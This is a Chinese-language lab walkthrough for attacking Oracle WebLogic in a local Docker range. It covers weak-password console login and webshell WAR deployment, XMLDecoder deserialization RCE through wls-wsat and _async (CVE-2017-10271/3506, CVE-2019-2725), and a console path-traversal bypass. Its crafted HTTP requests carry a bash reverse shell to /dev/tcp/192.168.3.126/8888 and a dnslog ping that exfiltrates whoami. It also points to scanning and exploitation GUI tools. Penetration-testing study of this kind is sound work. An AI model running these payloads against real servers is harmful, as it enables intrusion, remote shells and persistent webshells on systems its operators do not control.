WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
WebLogic是美商Oracle的主要产品之一,是并购BEA得来。是商业市场上主要的Java(J2EE)应用服务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器, 已推出到12c(12.2.1.4) 版。而此产品也延伸出WebLogic Portal,WebLogic Integration等企业用的中间件(但当下Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业包),以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。
docker-compose up -d
登录7001端口
拼接url http://192.168.3.108:7001/console
这里弱口令错误次数超过五次会锁定,因此这里使用弱口令登录
这里成功登录
单独建立一个文件夹,里面放冰蝎3的jsp木马
打开cmd,输入jar -cvf aaa.war .
将当前目录打包成war包
点击部署
我这里冰蝎连接失败了,因此又重新上传一个哥斯拉的,步骤相同。
成功连接。
拼接以下URL,有回显如下图可以判断wls-wsat组件存在。
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
直接刷新抓包本页面,然后进行修改数据包,这个是原版数据包。随后先将GET型的改成POST型的,burp右键后有一个功能就是专门转换数据包格式的。
改成POST型数据包后,还需要进行一些构造,才能成功RCE。其中Content-Type需要等于 text/xml,否则可能导致XMLDecoder不解析。下面是构造好的数据包。
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.3.108:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: ADMINCONSOLESESSION=CsBPjQgJv12n5Gn6sHQhTXT74KQ0yrhXn0JC2XKlJqKY7bdsZqP4!-1250251804
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 640
/bin/bash
-c
bash -i >& /dev/tcp/192.168.3.126/8888 0>&1
下面的图就是上面构造后的包,然后放包
放包后会出现这个界面
成功反弹shell
cve-2017-10271与3506他们的漏洞原理是一样的,只不过10271绕过了3506的补丁
漏洞介绍:
此漏洞实际上是CVE-2017-10271的又一入口,CVE-2017-3506的补丁过滤了object;CVE-2017-10271的补丁过滤了new,method标签,且void后面只能跟index,array后面只能跟byte类型的class;CVE-2019-2725的补丁过滤了class,限制了array标签中的byte长度。
影响组件:
bea_wls9_async_response.war、wls-wsat.war
影响范围:
10.3.6.0、12.1.3.0
验证漏洞:
访问 /_async/AsyncResponseService,返回200即存在,返回404则不存在:
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
直接刷新进行抓包,然后进行修改数据包,跟上一个一样,都先需要将GET型数据包,转换成POST型数据包,然后再进行修改构造。
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.3.108:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 859
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
xx
xx
/bin/bash
-c
ping `whoami`.tsqohg.dnslog.cn
使用上面构造好的包,然后发包,202就是成功执行
这里收到了信息,说明存在漏洞
拼接以下URL进行登录,如果能成功访问,说明存在未授权访问漏洞。
http://192.168.3.108:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
使用xray进行扫描的时候,要直接扫描根目录,如果直接扫描漏洞页面,会导致扫描不出漏洞,但是该靶场存在的漏洞很多,这次扫描的还是不全面,以下是扫描的页面。
扫描的结果
这个工具和xray的情况一样,直接访问漏洞连接,是无法扫描出漏洞的,要扫描根目录。
上面的是对漏洞页面扫描,结果无。
下面是对根目录扫描,有三个结果。
该工具只支持直接漏洞利用。
项目地址:GitHub - sp4zcmd/WeblogicExploit-GUI: Weblogic漏洞利用图形化工具 支持注入内存马、一键上传webshell、命令执行
连接成功